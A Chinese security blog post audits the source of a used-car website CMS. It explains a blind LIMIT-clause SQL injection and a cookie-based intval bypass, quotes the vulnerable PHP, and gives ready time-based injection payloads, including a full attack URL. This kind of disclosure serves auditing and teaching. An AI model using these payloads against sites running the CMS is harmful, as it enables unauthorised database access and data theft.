代码审计之某汽车网源码
ADog 漏洞分析 10085浏览 · 2018-09-12 01:24

0x00 前记
这里的漏洞分析只挑选了两个觉得有新意的点来说,整个cms肯定还是有很多漏洞,可以说是值得练手的一款cms,并且由于是根据某付费cms二次制作完成,因此市面上这类汽车网源码肯定也是千疮百孔,刷洞的可以走起~

0x01 cms简介
大泉州汽车网整站程序是一个以PHP+MySQL进行开发的二手车发布网站源码。
大泉州汽车网整站程序PHP生成html开源版 更新日志:
V1.1.2
1.增加手机版,可以绑定二级域名访问。如http://m.myname.com 绑定到m目录即可, 手机版模版位置:templates/default/m/
2.修正车行商铺首页和车型图片路径不显示
3.修正车型中心图片路径不对。
4.修正用户注册CSS路径。
5.修正用户登录CSS路径。
6.修正百度地图,不需参数可以直接定位
源码下载地址:http://down.chinaz.com/soft/39115.htm
demo地址:http://www.dqzqcw.com/

0x02 漏洞分析
下面两个洞是不那么常见的洞,或者说跟平时挖掘思路不太一致,这里拿出来分享一下,也给那些代码审计新手一点新的思路。现在由于大多数参数都有过滤机制,因此一些常见的注入漏洞可以说是很难找了,笔者如果想要找sql注入漏洞,那么喜欢挑像in类型的注入或者limit、order by这种,这里包含的参数正常都是数字类型,也就是说无需单引号包裹的,所以如果没做数字类型的检查,那么这里很可能就会存在问题,下面进入正篇!

  • limit注入
    这里漏洞代码位于index/2s.php第288行

    // 每页显示条数
    if (isset($_GET['pagenum'])) {
      setMyCookie("pagenum", $_GET['pagenum'], time() + COOKIETIME);
    } else {
      setMyCookie("pagenum", 32, time() + COOKIETIME);
    }
    

    这里传入参数pagenum,然后将值赋到cookie里去(这也是这款cms的特色之处,所有的参数均会存储到cookie,然后在后面做处理的时候从cookie中取值),接着我们跟进pagenum参数来到index/2s.php第301行

    include(INC_DIR . 'Page.class.php');
    $Page = new Page($db -> tb_prefix . 'cars', $where, '*', $_COOKIE['pagenum'], $orderby);
    $listnum = $Page -> total_num;
    $list = $Page -> get_data();
    

    这里可以看到我们的pagenum参数已经是从cookie中取值来进行操作,继续跟进Page函数来到include/Page.class.php第33行

    * 
       * @param string $tbname 要操作的表名
       * @param string $where 定位条件
       * @param string $field 要查询的字段
       * @param string $pageSize 每页显示数量
       * @param string $orderBy 排序方式
       */
      function Page($tbname, $where = '1=1', $field = '*', $page_size = 20, $order_by = '', $group_by = '') {
          !mysql_ping() && exit('mysql can not connect!');
    
          if (!empty($page_size)) $this -> page_size = $page_size; 
          // 获取总记录条数
          $sql = "SELECT count(*) as row_num FROM $tbname WHERE $where";
          $row_num = mysql_fetch_array(mysql_query($sql));
          $this -> total_num = $row_num['row_num'];
          //$this -> total_page = ceil($this -> total_num / $page_size); 
          // 当前page
          $page = isset($_GET['page']) && intval($_GET['page']) > 0 ? intval($_GET['page']) : 1;
          $this -> page = ($page < $this -> total_page || $this -> total_page == 0) ? $page : $this -> total_page; 
          // 计算查询的起始值
          $start = ($this -> page - 1) * $page_size; 
          // 查询结果
    
          if($page_size==0){
              $sql = "SELECT $field FROM $tbname WHERE $where" .  ($group_by ? ' GROUP BY ' . $group_by : '').($order_by ? ' ORDER BY ' . $order_by : '') ;
          }else{
              $this -> total_page = ceil($this -> total_num / $page_size); 
              $sql = "SELECT $field FROM $tbname WHERE $where" . ($group_by ? ' GROUP BY ' . $group_by : '').($order_by ? ' ORDER BY ' . $order_by : '') . " LIMIT $start,$this->page_size";
          }
    
          $result = mysql_query($sql);
    
          $data = array();
          while ($row = mysql_fetch_assoc($result)) {
              $data[] = $row;
          } 
          $this -> data = $data;
      }
    

    这里pagenum对应的参数为$page_size参数,因此这里我们需要来看看page_size参数处于sql语句中的哪个位置。这里可以看到第28行处于limit之后,并且这里没有开启错误回显,因此该漏洞为前台无限制limit盲注漏洞。
    我们知道在遇到limit注入时,使用procedure analyse即可实现注入,但是网上搜到的大多是利用报错来进行注入,这里只能盲注,因此也花了不少时间来测试sql语句。
    常见的limit报错语句如下

    MariaDB [car]> select * from simcms_cars limit 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1);
    ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
    

    这里想要改成时间盲注语句也很简单,只要对user()那里做修改即可
    时间盲注语句如下

    MariaDB [car]> select * from simcms_cars limit 0,1 procedure analyse((extractvalue(rand(),concat(0x3a,(IF(ascii(MID(user(),1,1))=114, BENCHMARK(3000000,SHA1(1)),1))))),1);
    ERROR 1105 (HY000): XPATH syntax error: ':0'
    

    最后我们来到实战中做检验,完整的payload如下

    http://127.0.0.1/?m=2s&pagenum=1 PROCEDURE analyse((extractvalue(rand(),concat(0x3a,(IF(ascii(MID(user(),1,1))=114, BENCHMARK(6000000,SHA1(1)),1))))),1)
    



    延时差距还是很明显的~

  • cookie注入
    这个漏洞其实可以说是逻辑上的漏洞,我们刚才看到了程序的处理流程,先将GET或者POST参数给赋值到cookie里,然后再从cookie里调用,那么这中间会出现什么问题呢?
    if ($arr_c['0'] == "p") {
          if (isset($arr_c[1])) {
              setMyCookie("price", intval($arr_c[1]), time() + COOKIETIME);
          } 
          if (isset($_COOKIE['price']) and $_COOKIE['price'] == 0) {
              setMyCookie("price", '', time() - COOKIETIME);
          } 
      } 
      // 车龄
      elseif ($arr_c['0'] == "a") {
          if (isset($arr_c[1])) {
              setMyCookie("age", intval($arr_c[1]), time() + COOKIETIME);
          } 
          if (isset($_COOKIE['age']) and $_COOKIE['age'] == 0) {
              setMyCookie("age", '', time() - COOKIETIME);
          } 
      } 
      // 车型
      elseif ($arr_c['0'] == "m") {
          if (isset($arr_c[1])) {
              setMyCookie("model", intval($arr_c[1]), time() + COOKIETIME);
          } 
          if (isset($_COOKIE['model']) and $_COOKIE['model'] == 0) {
              setMyCookie("model", '', time() - COOKIETIME);
          } 
      }
    
    这里随便抽取了一段,可以看到传进来的参数大概是p_1或者a_2这种,下划线前面的表示类型,下划线后面的表示数值,并且会对数值做intval处理,那么这里最简单的思路就是来找一找有没有漏网之鱼,就是没有做intval处理,并且最终进入到sql语句里的参数,当然这里也有,不过不是本文的讨论重点。
    这里就以上面的车型为例,这里假如GET为m_1,那么cookie中的model值则为1,然后我们跟进这个cookie['model']
    来到190行
    if (isset($_COOKIE['model']) and $_COOKIE['model']<>0) {
      $where .= " and p_model = ".$_COOKIE['model'];
    }
    
    这里可以看到直接拼接进了where里,最终就进入了上面limit注入里的Page函数。
    回过头来看,这个model参数由于在赋值时会进入intval函数的处理,因此用常规的直接拼接思路肯定是不可以的,但是这里出现的问题就是cookie值没有进行初始化,也就是说我们现在抓包然后赋值一个新的cookie值,就可以直接绕过这个从GET到COOKIE的处理,也就绕过了intval函数的处理,下面开始抓包演示!

    这里可以看到cookie中的m值为41,那么想要绕过前面的从GET处理到COOKIE处理,采用直接cookie赋值的方法即可~

    可以看到延时成功~

0x03 总结
这里漏洞利用起来也不是很复杂,只是姿势可能跟平时不太一样,所以拿出来分享一下~
上述如有不当之处,敬请指出

2 条评论
某人
表情
可输入 255
目录